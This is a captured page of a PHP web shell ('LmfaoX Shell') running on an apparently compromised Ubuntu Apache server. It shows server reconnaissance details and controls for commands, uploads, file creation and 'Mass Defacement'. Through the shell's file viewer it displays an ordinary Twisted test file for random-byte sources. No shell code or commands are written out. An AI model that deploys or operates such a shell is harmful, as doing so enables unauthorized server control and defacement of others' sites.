ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:23.09 GB of 70.42 GB (32.8%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ lib/ python2.6/ dist-packages/ twisted/ test/ - drwxr-xr-x

Directory:
Viewing file:     test_randbytes.py (3.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Test cases for L{twisted.python.randbytes}.
"""

import os

from twisted.trial import unittest
from twisted.python import randbytes



class SecureRandomTestCaseBase(object):
    """
    Base class for secureRandom test cases.
    """

    def _check(self, source):
        """
        The given random bytes source should return the number of bytes
        requested each time it is called and should probably not return the
        same bytes on two consecutive calls (although this is a perfectly
        legitimate occurrence and rejecting it may generate a spurious failure
        -- maybe we'll get lucky and the heat death with come first).
        """
        for nbytes in range(17, 25):
            s = source(nbytes)
            self.assertEquals(len(s), nbytes)
            s2 = source(nbytes)
            self.assertEquals(len(s2), nbytes)
            # This is crude but hey
            self.assertNotEquals(s2, s)



class SecureRandomTestCase(SecureRandomTestCaseBase, unittest.TestCase):
    """
    Test secureRandom under normal conditions.
    """

    def test_normal(self):
        """
        L{randbytes.secureRandom} should return a string of the requested
        length and make some effort to make its result otherwise unpredictable.
        """
        self._check(randbytes.secureRandom)



class ConditionalSecureRandomTestCase(SecureRandomTestCaseBase,
                                      unittest.TestCase):
    """
    Test random sources one by one, then remove it to.
    """

    def setUp(self):
        """
        Create a L{randbytes.RandomFactory} to use in the tests.
        """
        self.factory = randbytes.RandomFactory()


    def errorFactory(self, nbytes):
        """
        A factory raising an error when a source is not available.
        """
        raise randbytes.SourceNotAvailable()


    def test_osUrandom(self):
        """
        L{RandomFactory._osUrandom} should work as a random source whenever
        L{os.urandom} is available.
        """
        self._check(self.factory._osUrandom)


    def test_fileUrandom(self):
        """
        L{RandomFactory._fileUrandom} should work as a random source whenever
        C{/dev/urandom} is available.
        """
        try:
            self._check(self.factory._fileUrandom)
        except randbytes.SourceNotAvailable:
            # The test should only fail in /dev/urandom doesn't exist
            self.assertFalse(os.path.exists('/dev/urandom'))


    def test_withoutAnything(self):
        """
        Remove all secure sources and assert it raises a failure. Then try the
        fallback parameter.
        """
        self.factory._osUrandom = self.errorFactory
        self.factory._fileUrandom = self.errorFactory
        self.assertRaises(randbytes.SecureRandomNotAvailable,
                          self.factory.secureRandom, 18)
        def wrapper():
            return self.factory.secureRandom(18, fallback=True)
        s = self.assertWarns(
            RuntimeWarning,
            "urandom unavailable - "
            "proceeding with non-cryptographically secure random source",
            __file__,
            wrapper)
        self.assertEquals(len(s), 18)



class RandomTestCaseBase(SecureRandomTestCaseBase, unittest.TestCase):
    """
    'Normal' random test cases.
    """

    def test_normal(self):
        """
        Test basic case.
        """
        self._check(randbytes.insecureRandom)


    def test_withoutGetrandbits(self):
        """
        Test C{insecureRandom} without C{random.getrandbits}.
        """
        factory = randbytes.RandomFactory()
        factory.getrandbits = None
        self._check(factory.insecureRandom)

Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 1.3412 seconds